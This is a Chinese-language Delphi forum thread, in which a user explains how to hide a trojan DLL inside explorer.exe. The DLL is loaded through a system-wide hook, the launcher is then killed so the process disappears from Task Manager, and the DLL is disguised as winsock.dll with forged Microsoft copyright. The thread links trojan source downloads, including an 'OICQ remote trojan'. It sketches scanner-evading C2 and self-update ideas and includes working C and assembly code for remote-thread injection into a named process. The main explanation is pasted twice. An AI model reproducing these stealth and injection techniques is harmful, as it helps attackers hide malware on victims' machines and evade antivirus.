呵呵,各位兄弟,配合我的Delphi源码,讲一下它的工作原理吧,不过大家不要用来做坏事哟,我可是从不黑人的,谁让我是人民教师哟,原理如下:
我编了个启动程序winexec.exe用它来启动install.dll这个安装库,install.dll中有个安装函数用来启动getkey.dll这个执行库,getkey.dll里面有我的木马程序,这个getkey.dll库被挂到explorer.exe的进空间中,然后winexec.exe和install.dll在内存中自动御载,但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞),因为这时系统中已没有我的winexec.exe存在,所以按CTRL+ALT+DEL查不到有我的进程在运行,这就是进程三级跳.
呵呵,可是,大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗,请听我慢慢道来:
在windows系统中,要进入另一个进程的空间有很多方法,最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook,这是它能收到所以系统中传输的消息,而且若消息是其它进程的线程发出或接收的,那么该*.dll(就是我程序中的install.dll啦)会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块,这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地,但这只是开始,因为我们的目标是隐藏自已的进程,所以要把winexec.exe在内存中去掉,但这不是我们想要的结果,大家想想,install.dll是由winexec.exe调用的,所以,当winexec.exe死掉后,install.dll也活不成,我们在explorer.exe中占下的一席之地就又没了,那如何办呢,呵呵,听我慢慢讲来:
上面我们说了,当install.dll在explorer.exe中安家后,我们创建的线程就是explorer.exe的子线程,那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块,根据*.dll的特殊性(就是我认为的*.dll的御载漏洞),在install.dll从内存中御掉后,被它调用的getkey.dll还在内存中好好的活着呢,呵呵,微软真是个好宝宝,为我们提供了这么好的驻留内存的机会,我想之所以这样,是因为*.dll不可以成为另一个*.dll的拥有者,只有*.exe才能成为*.dll的拥有者吧,所以explorer.exe就成了getkey.dll的合法拥有者,呵呵,因为explorer.exe是微软的好东东,所以永远在内存中活着,那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟,这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家,呵呵,我们终于可以过河拆桥了,不要说我坏呀,我不要这么做,可不这样的话我的winexec.exe这会被人发现了呀,好可怜哟,这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令,就会让讨厌的winexec.exe(不对,是可爱的,只不过你的任务完成了,没有了哟,呵呵)从内存中死掉,当然它的好儿子install.dll也会随父而去,但我们可爱的getkey.dll确好好的活在内存中(啊啊,这是为什么呀,gekey.dll的爷爷winexec.exe都死了,它的孙子getkey.dll为何不死呀,呵呵,别忘了哟,getkey.dll的继父explorer.exe很有本事哟,它把它保护的好好的哟,所以死不了的啦),呵呵,明白了吗,这时的内存中已经没有了winexec.exe和install.dll的身影,只有getkey.dll存在,而且是explorer.exe的一个调用模块,当然用CTRL+ALT+DEL只能看到好人explorer.exe,而winexec.exe送给它的坏儿子是看不到了啦,呵呵,如果你用prcview或用spy++,winsight包括各种深度查木马程序(如终极防线)查的话,你只能看到getkey.dll在内存中,但调用者是explorer.exe(这是比尔的好孩子哟,没人怀疑它做坏事吧,呵呵),所以就没人理这个getkey.dll这个坏孩子啦,呵呵,若实在有高手认为它可疑,那好吧,我们加工加工,把getkey.dll的名字改成winsock.dll,然后放在和windows中自带的winsock不同的目录中,呵呵没人怀疑这个文件吧,当然把getkey.dll的版权信息改成是微软的更好啦,呀呀,比尔你不要生气呀,谁叫你这么坏哪,呵呵,我走了..............
我编了个启动程序winexec.exe用它来启动install.dll这个安装库,install.dll中有个安装函数用来启动getkey.dll这个执行库,getkey.dll里面有我的木马程序,这个getkey.dll库被挂到explorer.exe的进空间中,然后winexec.exe和install.dll在内存中自动御载,但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞),因为这时系统中已没有我的winexec.exe存在,所以按CTRL+ALT+DEL查不到有我的进程在运行,这就是进程三级跳.
呵呵,可是,大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗,请听我慢慢道来:
在windows系统中,要进入另一个进程的空间有很多方法,最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook,这是它能收到所以系统中传输的消息,而且若消息是其它进程的线程发出或接收的,那么该*.dll(就是我程序中的install.dll啦)会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块,这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地,但这只是开始,因为我们的目标是隐藏自已的进程,所以要把winexec.exe在内存中去掉,但这不是我们想要的结果,大家想想,install.dll是由winexec.exe调用的,所以,当winexec.exe死掉后,install.dll也活不成,我们在explorer.exe中占下的一席之地就又没了,那如何办呢,呵呵,听我慢慢讲来:
上面我们说了,当install.dll在explorer.exe中安家后,我们创建的线程就是explorer.exe的子线程,那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块,根据*.dll的特殊性(就是我认为的*.dll的御载漏洞),在install.dll从内存中御掉后,被它调用的getkey.dll还在内存中好好的活着呢,呵呵,微软真是个好宝宝,为我们提供了这么好的驻留内存的机会,我想之所以这样,是因为*.dll不可以成为另一个*.dll的拥有者,只有*.exe才能成为*.dll的拥有者吧,所以explorer.exe就成了getkey.dll的合法拥有者,呵呵,因为explorer.exe是微软的好东东,所以永远在内存中活着,那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟,这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家,呵呵,我们终于可以过河拆桥了,不要说我坏呀,我不要这么做,可不这样的话我的winexec.exe这会被人发现了呀,好可怜哟,这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令,就会让讨厌的winexec.exe(不对,是可爱的,只不过你的任务完成了,没有了哟,呵呵)从内存中死掉,当然它的好儿子install.dll也会随父而去,但我们可爱的getkey.dll确好好的活在内存中(啊啊,这是为什么呀,gekey.dll的爷爷winexec.exe都死了,它的孙子getkey.dll为何不死呀,呵呵,别忘了哟,getkey.dll的继父explorer.exe很有本事哟,它把它保护的好好的哟,所以死不了的啦),呵呵,明白了吗,这时的内存中已经没有了winexec.exe和install.dll的身影,只有getkey.dll存在,而且是explorer.exe的一个调用模块,当然用CTRL+ALT+DEL只能看到好人explorer.exe,而winexec.exe送给它的坏儿子是看不到了啦,呵呵,如果你用prcview或用spy++,winsight包括各种深度查木马程序(如终极防线)查的话,你只能看到getkey.dll在内存中,但调用者是explorer.exe(这是比尔的好孩子哟,没人怀疑它做坏事吧,呵呵),所以就没人理这个getkey.dll这个坏孩子啦,呵呵,若实在有高手认为它可疑,那好吧,我们加工加工,把getkey.dll的名字改成winsock.dll,然后放在和windows中自带的winsock不同的目录中,呵呵没人怀疑这个文件吧,当然把getkey.dll的版权信息改成是微软的更好啦,呀呀,比尔你不要生气呀,谁叫你这么坏哪,呵呵,我走了..............
用 CreateRemoteProcess 为explorer.exe创建一个 LoadLibrary的进程,将getkey.dll load进去,在getkey.dll的dllmain中,做需要做的事情,然后,如果不调用 freelibrary,那么,getkey.dll就常驻再explorer.exe的内存中了。
这个时候,winexec要退出,或者什么,都可以了。
用 CreateRemoteProcess 为explorer.exe创建一LoadLibrary 线程!!
不是进程. sorry.
Hook explorer's 的消息
在hook中,如果发现是explorer.exe,那么{
//现在在explorer的进程中
LoadLibrary("getkey.dll");
创建线程,或者其他的工作.
//现在,可以UnHook 了.
//退出winexec和install.dll
}
这样, getkey.dll 就在explorer了. right?
WIN9X中用registerservices是不是将进程注册为服务啊?在NT、2000中是否可以在任务管理器中看到?
------------------
to yypp:我用的是www.freehomepages.com提供的免费主机,是美国佬的,可能速度不行吧,有时我也下不了的,大家要是能提供我个稳定的主机,我感激不尽哟,谢了
说的不错,install.dll调用自已也能驻留,但里面一些没用的内容也在,我不喜欢,呵呵,所以又搞了个干净的getkey.dll,你要喜欢,二级跳也行呀,我也实现过的,呵呵.....
我对你的敬仰之情如滔滔江水,连绵不绝,又如黄河泛滥,一发不可收拾。
(以下省略X万字)。不说了,再说要挨臭鸡蛋了。:)
去down下来看看先。
金山的取词就用了这种方案,还有《护花使者》中也是用的
这种挂接技术。用SetWindowsHookEx函数就可以了。
不过,用户还是可以用工具《Dll Show》就可以观察出自己
Explorer中是不是有很怪的DLL就知道了。
然后,强行中止Explorer,再启动新的Explorer,Delete getkey.dll
修改回Regist就可以恢复了。在 Api的Hook中基本上很多程序用了这种方案。这不是漏洞,是功能!!!!
我公司的Proxy不许我访问http://njhhack.freehomepages.com/source/hideproc.zip
剑影老大,能否给我邮一份?[email protected]
如果真是能隐藏winexec.exe还不错to verybigbug:怎么可能有这么变态的用户?
万分感谢!如果分不够还可以加!
Email:[email protected]
考虑两个问题:
1 是我发现如果不用unhook的话,即使原进程(winexec)已经退出,有时那个dll仍然钩在那里不退出来。(我用的keyboardProc)2 是explorer.exe可能装载多份,只要在文件夹选项里设置一下就成了。此时在任务列表里就有多个explorer.exe,那么,那个“孙子DLL”应该过继到哪个“父亲”进程里呢?如果进错了,那只要用户关闭“我的电脑”,那这个dll就死了;如果每个进程都贴一份,那我们的黑客程序就要多重运行了。
那是多个线程而已!!!通过Ctrl+Alt+Del看到的是因为
他列出来的不是进程表!!!他们的ProcessId是相同的。
不要经常想到作病毒!!!
要为人民服务!!!!!
这一技术太高了,看来将来得多到Delphi论坛看看:)
不过尚有几问,望释疑
1)挂到explorer.exe后对目录或文件的操作权限怎样,可不可以越过文件操作许可管理?
2)照这么说,突破系统防线是由于向系统任意挂接dll,hook造成的,那这一操作本身有没有安全管理
3)当我dll在explorer.exe中执行时可不可以关闭explorer.exe中的线程--如果可以就可以进一步伪装了:)
我很配服老兄的善良,当然我也不会去害人,我只是想让大家知道windows很不安全,给新型木马留有很多创意空间,忘大家提高警惕,同时这一技术包含的很多编程技巧和思想也是值得大家学习的,我本人精通C,但我更喜欢Delphi,我想把Delphi发扬光大,所以只用Delphi举例,学C的朋友不要怪我,实在是Delphi为世之瑰宝
to kz(kz):
1.至于NT下的权限我没试过,还有在NT下能否挂到Explorer下我也没试过,大家帮我试试
2.我想微软把hook技术公开,就是为了实现进程的连接,其它大家帮我试
3.当一个进程闯入其它进程空间后,可以创建和关闭任线程,这是绝对可以的
最近我在想一个问题,就是如果一个木马的客户端和服务端能借能借助一个聊天服务器进行聊天的话,那么在木马的两头都不必开tcp或udp端口,那么防木马程序就难查它了,
还有,如果一个木马能定期到一个ftp服务器上检查它的最新版本并自动下载安装,那么这个木马更聪明了,因为木马的作都可以每天更新它的特征字,木马也能天天自我更新,那么象kv3000这种用特征字扫描木马的防木软件恐怕要哭了,
我在想网络真可怕,好可怕哟,呵呵..................
这是进程隐藏的:
njhhack.top263.net/hidepro.zip
hotsky.363.net/hidepro.zip
这是HOOK教学的源码:
njhhack.top263.net/process.zip
hotsky.363.net/process.zip
这是OICQ远程木马的源程,此程序不能害人,只能学习,使用者后果自负,与作者无关!!!
hotsky.363.net/oicqhack.zip
这是进程隐藏的:
<a href=http://njhhack.top263.net/hideproc.zip>hideproc.zip</a>
<a href=http://hotsky.363.net/hideproc.zip>hideproc.zip</a>
看看singleracer的ProcessHacker
早就实现了这些功能
并且也太容易了
////////// .h file
#ifndef _RUNTHREAD_H_
#define _RUNTHREAD_H_extern "C" LPBYTE WINAPI GetCreateProcessThreadCodeAddress();
extern "C" DWORD WINAPI GetCreateProcessThreadCodeLength();
extern "C" LPBYTE WINAPI GetLoadDllThreadCodeAddress();
extern "C" DWORD WINAPI GetLoadDllThreadCodeLength();BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable);
BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen);
DWORD GetProcessIDByName(LPCWSTR lpszName);typedef struct tagRUNTHREAD_PARAMETER
{
DWORD BaseAddress;
DWORD FnLoadLibraryA;
DWORD FnLoadLibraryW;
DWORD FnGetModuleHandleA;
DWORD FnGetModuleHandleW;
DWORD FnGetProcAddress;
LPVOID lpParameter;
DWORD Reserve;
}RUNTHREAD_PARAMETER;#endif////////// .cpp file
#include "stdafx.h"
#include "RunThread.h"
#include "ProcessInfo.h"BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen)
{
if(hProcess==NULL)
return FALSE;
if(lpThreadProc==NULL)
return FALSE;
if(dwCodeLen==0)
return FALSE;
DWORD dwOldProtect=0;
//使lpThreadProc可读
BOOL b=::VirtualProtect(lpThreadProc,
dwCodeLen, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if(!b)
{
return FALSE;
}
//在目标进程中为线程代码分配可读写执行的内存
LPBYTE lpDestThreadProc=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
dwCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpDestThreadProc==NULL)
{
::VirtualProtect(lpThreadProc,
dwCodeLen, dwOldProtect, &dwOldProtect);
return FALSE;
}
//在目标进程中写入线程代码
DWORD dwWritten=0;
b=::WriteProcessMemory(hProcess, lpDestThreadProc, lpThreadProc, dwCodeLen, &dwWritten);
::VirtualProtect(lpThreadProc,
dwCodeLen, dwOldProtect, &dwOldProtect);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
//在目标进程中为线程参数分配可读写的内存
RUNTHREAD_PARAMETER * lpRunThreadParameter=(RUNTHREAD_PARAMETER *)::VirtualAllocEx(hProcess, NULL,
sizeof(RUNTHREAD_PARAMETER), MEM_COMMIT, PAGE_READWRITE);
if(lpRunThreadParameter==NULL)
{
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
LPBYTE lpDestParameter=NULL;
if(lpParameter && dwParamLen>0)
{
lpDestParameter=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
dwParamLen, MEM_COMMIT, PAGE_READWRITE);
if(lpDestParameter==NULL)
{
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
b=::WriteProcessMemory(hProcess, lpDestParameter, lpParameter, dwParamLen, &dwWritten);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
}
RUNTHREAD_PARAMETER rtp;
rtp.FnGetModuleHandleA=(DWORD)GetModuleHandleA;
rtp.FnGetModuleHandleW=(DWORD)GetModuleHandleW;
rtp.FnLoadLibraryA=(DWORD)LoadLibraryA;
rtp.FnLoadLibraryW=(DWORD)LoadLibraryW;
rtp.FnGetProcAddress=(DWORD)GetProcAddress;
rtp.Reserve=0;/*
// debug
rtp.lpParameter=lpParameter;
rtp.BaseAddress=(DWORD)lpThreadProc;
((PTHREAD_START_ROUTINE)lpThreadProc)(&rtp);
// debug
*/
rtp.lpParameter=lpDestParameter;
rtp.BaseAddress=(DWORD)lpDestThreadProc; b=::WriteProcessMemory(hProcess, lpRunThreadParameter, &rtp, sizeof(RUNTHREAD_PARAMETER), &dwWritten);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
} DWORD dwThreadID=0;
HANDLE hThread=::CreateRemoteThread(hProcess, NULL,
0, (LPTHREAD_START_ROUTINE)(lpDestThreadProc),
lpRunThreadParameter, 0, &dwThreadID); ::WaitForSingleObject(hThread, INFINITE);
::CloseHandle(hThread);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
if(lpDestParameter)
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
return (hThread!=NULL);
}DWORD GetProcessIDByName(LPCWSTR lpszName)
{
DWORD dwProcessID=0;
int nLen=lstrlenW(lpszName);
HMODULE hNtDll = ::GetModuleHandle( _T( "ntdll.dll") );
if(hNtDll)
{
PNtQuerySystemInformation NtQuerySystemInformation= (PNtQuerySystemInformation) GetProcAddress( hNtDll, _T("NtQuerySystemInformation") );
if(NtQuerySystemInformation)
{
BYTE * pBufferBase = (BYTE*)VirtualAlloc (NULL,
SYSINFO_BUFSIZE,
MEM_COMMIT,
PAGE_READWRITE);
if(pBufferBase)
{
if ( NtQuerySystemInformation( 5, pBufferBase, SYSINFO_BUFSIZE, NULL )==0)
{
SYSTEM_PROCESS_INFORMATION* pSysProcess = (SYSTEM_PROCESS_INFORMATION*)pBufferBase;
do
{
// pSysProcess->usName
if(::CompareStringW(LOCALE_USER_DEFAULT, NORM_IGNORECASE,
lpszName, nLen,
pSysProcess->usName.Buffer,
pSysProcess->usName.Length/sizeof(WCHAR))==CSTR_EQUAL)
{
dwProcessID=pSysProcess->dUniqueProcessId;
break;
} // get the next process information block
if ( pSysProcess->dNext != 0 )
pSysProcess = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pSysProcess + pSysProcess->dNext);
else
pSysProcess = NULL;
} while ( pSysProcess != NULL );
}
::VirtualFree(pBufferBase, 0, MEM_RELEASE);
}
}
}
return dwProcessID;
}///////////// .asm file
include stdafx.inc
RUNTHREAD_PARAMETER STRUCT
BaseAddress DWORD 0
FnLoadLibraryA DWORD 0
FnLoadLibraryW DWORD 0
FnGetModuleHandleA DWORD 0
FnGetModuleHandleW DWORD 0
FnGetProcAddress DWORD 0
lpParameter DWORD 0
Reserve DWORD 0
RUNTHREAD_PARAMETER ENDS
LPRUNTHREAD_PARAMETER TYPEDEF PTR RUNTHREAD_PARAMETEROFF_BASEASSRESS EQU 0
OFF_LOADLIBRARYA EQU 4
OFF_LOADLIBRARYW EQU 8
OFF_GETMODULEHANDLEA EQU 12
OFF_GETMODULEHANDLEW EQU 16
OFF_GETPROCADDRESS EQU 20
OFF_PARAMETER EQU 24
OFF_RESERVE EQU 28CREATE_DEFAULT_ERROR_MODE EQU 04000000h
;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下:
; mov edx, BaseAddress
; mov ecx, Lib_Kernel32_Name
; sub ecx, CreateProcessThreadBegin
; add edx, ecx
.code
; #########################################################################
; CreateProcess ThreadProc
; #########################################################################
ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORDCreateProcessThreadBegin:
CreateProcessThreadProc proc lpParameter:DWORD
LOCAL BaseAddress : DWORD
LOCAL FnCreateProcessA : DWORD
LOCAL ProccessInfo : PROCESS_INFORMATION
LOCAL Startupinfo : STARTUPINFO
; int 3
jmp CreateProcessThreadProcEnterPoint
Reserve_Data1:
db 90h, 90h, 90h, 90h
Lib_Kernel32_Name:
db "kernel32",0
Reserve_Data2:
db 0, 90h, 90h, 90h, 90h
Func_CreateProcessA_Name:
db "CreateProcessA", 0
Reserve_Data3:
db 0, 90h, 90h, 90h, 90hCreateProcessThreadProcEnterPoint:
;保存寄存器
push ebx
push esi
push edi
;得到基地址
mov ebx, lpParameter
MOVE BaseAddress, [ebx+OFF_BASEASSRESS]
;GeModuleHandleA("kernel32")
mov edx, BaseAddress
mov ecx, Lib_Kernel32_Name
sub ecx, CreateProcessThreadBegin
add edx, ecx
push edx ;"kernel32"
mov ebx, lpParameter
call DWORD PTR [ebx+OFF_GETMODULEHANDLEA] ;FnGetModuleHandleA
.if eax==0
jmp CreateProcessThreadProcExitPoint
.endif
;GetProcAddress(eax, "CreateProcessA")
mov edx, BaseAddress
mov ecx, Func_CreateProcessA_Name
sub ecx, CreateProcessThreadBegin
add edx, ecx
push edx ;"CreateProcessA
push eax ;hModule
mov ebx, lpParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax==0
jmp CreateProcessThreadProcExitPoint
.endif
mov FnCreateProcessA, eax
Invoke ZeroMemory, ADDR Startupinfo, sizeof STARTUPINFO
mov Startupinfo.cb, sizeof STARTUPINFO
Invoke ZeroMemory, ADDR ProccessInfo, sizeof PROCESS_INFORMATION
lea eax, ProccessInfo
push eax
lea eax, Startupinfo
push eax
push 0
push 0
mov eax, NORMAL_PRIORITY_CLASS
or eax, CREATE_DEFAULT_ERROR_MODE
push eax
push TRUE
push NULL
push NULL
mov ebx, lpParameter
push DWORD PTR [ebx+OFF_PARAMETER] ;lpParameter
push NULL
call FnCreateProcessA
CreateProcessThreadProcExitPoint:
pop edi
pop esi
pop ebx
ret
CreateProcessThreadProc endpZeroMemory proc lpAddr : DWORD, cbSize : DWORD
cld
xor eax, eax
mov ecx, cbSize
mov edi, lpAddr
rep stosb
ret
ZeroMemory endp
CreateProcessThreadEnd:CreateProcessThreadCodeLength equ CreateProcessThreadEnd-CreateProcessThreadBeginGetCreateProcessThreadCodeAddress proc
mov eax, CreateProcessThreadBegin
ret
GetCreateProcessThreadCodeAddress endpGetCreateProcessThreadCodeLength proc
mov eax, CreateProcessThreadCodeLength
ret
GetCreateProcessThreadCodeLength endp
; #########################################################################
; LoadDll ThreadProc
; #########################################################################LoadDllThreadBegin:
LoadDllThreadProc proc lpParameter:DWORD
; int 3
;保存寄存器
push ebx
push esi
push edi
mov ebx, lpParameter
push [ebx+OFF_PARAMETER]
call DWORD PTR [ebx+OFF_LOADLIBRARYA]
pop edi
pop esi
pop ebx
ret
LoadDllThreadProc endp
LoadDllThreadEnd:LoadDllThreadCodeLength equ LoadDllThreadEnd-LoadDllThreadBeginGetLoadDllThreadCodeAddress proc
mov eax, LoadDllThreadBegin
ret
GetLoadDllThreadCodeAddress endpGetLoadDllThreadCodeLength proc
mov eax, LoadDllThreadCodeLength
ret
GetLoadDllThreadCodeLength endp
end
如果利用漏洞的话
当漏洞没有了
这种方法就失效了
谢谢老兄,给我提供的这么好的程序源码,我很感激你,不过这里的都是Delphi兄弟,这个c加asm的东东大家看不太明白,有空了我把他翻译成Delphi的,让Delphi兄弟也看看这高技术的好处,呵呵,在下玩汇编时编了一个世界上最小的win9x程序,当然在nt下可以更小,若有高手见了不要骂我弱呀,我本来就是菜鸟,随便玩玩的,不好意思,呵呵 ..........
; ********************************************************************************
; * The Small portable executable Format Program Information *
; ********************************************************************************
; * Author:njhhack e-mail:[email protected] homepage:hotsky.363.net *
; * Created Date:2001.5.6 *
; * Develop Tools Obtained from Copyright (C) 1987,1996 Borland International *
; * Turbo Assembler Version 4.1 : Tasm /m spe *
; * Turbo Link Version 7.1.30.1 : Tlink /3 /t spe, spe.exe *
; ********************************************************************************; +-------------------+
; | DOS-stub | 50h
; +-------------------+
; | file-header |--+ 18h
; +-------------------+ |
; | optional header | | 60h-----------+
; +-------------------+ +---Total =1c0h |---Total 0e0h
; | data directories | | 80h-----------+
; +-------------------+ |
; | section headers |--+ 28h----->Total 0b8h
; +-------------------+
; | section 1 | .code Section
; +-------------------+
; | section 2 |
; +-------------------+
; | ... |
; +-------------------+
; | section n |
; +-------------------+;*****************************************************
; DOS Stub
;*****************************************************
.286p
DosHeader SEGMENT ;
BeginProgram:
DosSignature db 'MZ' ;
LastSectorLength dw 1 ;
FileSize dw 2 ;this size include head section,the unit is 512 bytes
RelocateTableNums dw 0 ;
HeadSize dw 2 ;this size unit is 16 bytes
MinMem dw 0 ;
MaxMem dw 0ffffh ;
OffsetSS dw 0 ;
OffsetSP dw 0b8h ;
FileCheckSum dw 0 ;
OffsetIP dw 0 ;
OffsetCS dw 0 ;
FistRelocateAddress dw 3eh ;noused in pe
OverloayNums dw 0 ;
org 20h ;
;*****************************************************
; DOS Proc
;*****************************************************
mov dx,offset DOS_MESSAGE+100h-20h ;
mov ah,9 ;
int 21h ;
mov ax,4c01h ;
int 21h ;
DOS_MESSAGE db 'Run Win2000.',0dh,0ah,07,'$' ;
org 3ch ;pe sig
PeHeadAddress db 50h ;
org 50h ;
DosHeader ENDS
;*****************************************************
; File Header
;********************************************************
.586p
FileHeader SEGMENT ;
WinSignature dd 4550h ;PE Format
Machine dw 14ch ;Intel 80386
NumberOfSections dw 1 ;.code Section
TimeDateStamp dd 0352068f1h ;
PointerToSymbolTable dd 0 ;unused
NumberOfSymbols dd 0 ;unused
SizeOfOptionalHeader dw 0e0h ;constant=optinal header+data Directory
Characteristics dw 010fh ;executable on 32-bit-machine
;********************************************************
; Optional Header
;********************************************************
Magic dw 010bh ;constant
MajorLinkerVersion db 5 ;I'm version 0.0 :-)
MinorLinkerVersion db 2 ;
SizeOfCode dd 1000h ;32 bytes of code;100h
SizeOfInitializedData dd 0 ;yet to find out;0
SizeOfUninitializedData dd 0 ;we don't have a BSS;0
AddressOfEntryPoint dd 1000h ;yet to find out;1010h
BaseOfCode dd 1000h ;yet to find out;1000h
BaseOfData dd 2000h ;yet to find out;200h
ImageBase dd 400000h ;1 MB, chosen arbitrarily;400000h
SectionAlignment dd 1000h ;32-bytes-alignment;100h
;
FileAlignment dd 20h;200h ;32-bytes-alignment;200h
;
MajorOperatingSystemVersion dw 4 ;NT 4.0
MinorOperatingSystemVersion dw 0 ;
MajorImageVersion dw 1 ;version 1.2
MinorImageVersion dw 2 ;
MajorSubsystemVersion dw 4 ;Win32 4.0
MinorSubsystemVersion dw 0 ;
Win32VersionValue dd 0 ;unused?
;
SizeOfImage dd 2000h ;yet to find out;200h
SizeOfHeaders dd 200h ;yet to find out;200h
CheckSum dd 0 ;not used for non-drivers
Subsystem dw 2 ;Win32 console
DllCharacteristics dw 0 ;unused (not a DLL)
SizeOfStackReserve dd 100000h ;1 MB stack
SizeOfStackCommit dd 1000h ;4 KB to start with
SizeOfHeapReserve dd 100000h ;1 MB heap
SizeOfHeapCommit dd 1000h ;4 KB to start with
LoaderFlags dd 0 ;unknown
NumberOfRvaAndSizes dd 10h ;constant
;*****************************************************
; Image Data Directories,
;***********************************************************************
;Address Size
Ide00Export dd 0,0 ;IMAGE_DIRECTORY_ENTRY_EXPORT (0)
Ide01Import dd 0,0 ;IMAGE_DIRECTORY_ENTRY_IMPORT (1)
Ide02Resource dd 0,0 ;IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
Ide03Exception dd 0,0 ;IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
Ide04Security dd 0,0 ;IMAGE_DIRECTORY_ENTRY_SECURITY (4)
Ide05BaseReloc dd 0,0 ;IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
Ide06Debug dd 0,0 ;IMAGE_DIRECTORY_ENTRY_DEBUG (6)
Ide07Copyright dd 0,0 ;IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
Ide08Globalptr dd 0,0 ;IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
Ide09Tls dd 0,0 ;IMAGE_DIRECTORY_ENTRY_TLS (9)
Ide10LoadConfig dd 0,0 ;IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
Ide11BoundImport dd 0,0 ;IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
Ide12Iat dd 0,0 ;IMAGE_DIRECTORY_ENTRY_IAT (12)
Ide13 dd 0,0 ;13
Ide14 dd 0,0 ;14
Ide15 dd 0,0 ;15
;**********************************************************************
; Section Header
;**********************************************************************************
SectionName db '.code',0,0,0 ;".code",8 bytes
VirtualSize dd 1000h ;unused
VirtualAddress dd 1000h ;yet to find out
SizeOfRawData dd 1000h ;size of code
PointerToRawData dd 200h ;yet to find out
PointerToRelocations dd 0 ;unused
PointerToLinenumbers dd 0 ;unused
NumberOfRelocations dw 0 ;unused
NumberOfLinenumbers dw 0 ;unused
Characteristics2 dd 60000020h ;code, executable, readable
;-----------------padding nulls-----------------------------------------
dd PESize ;
VersionCopyright db 'WIN32.PE 1.0' ;
org 1b0h ;
FileHeader ENDS;**********************************************************************************
; .code Section
;**********************************************************************************
CodeSection SEGMENT ;1
ret ;
PESize = $ ;
CodeSection ENDS
END BeginProgram;*****************************************************************************
;* njhhack 2001.5.6 Copyrigth(C) 2001-2004 Allrights Reserved. *
;* this PE File is Only 513 bytes,but it's a raw program,it's fun!
;*****************************************************************************
请问您是如何获得 ntdll.dll中函数的定义(参数,返回值)?是否有这方面的资料关于未公开的api
问题可能比较菜,别见笑,呵呵。
太强了!!!
太好了!!!noho(noho)
verybigbug()
你们这样说就不对了
这怎么也是剑影兄自己研究出来的
你们说的是你们自己的成果吗??
其实我的木马就是Getkey.dll,winexec.exe不是木马,只是安木马启动程序
to liuchun:
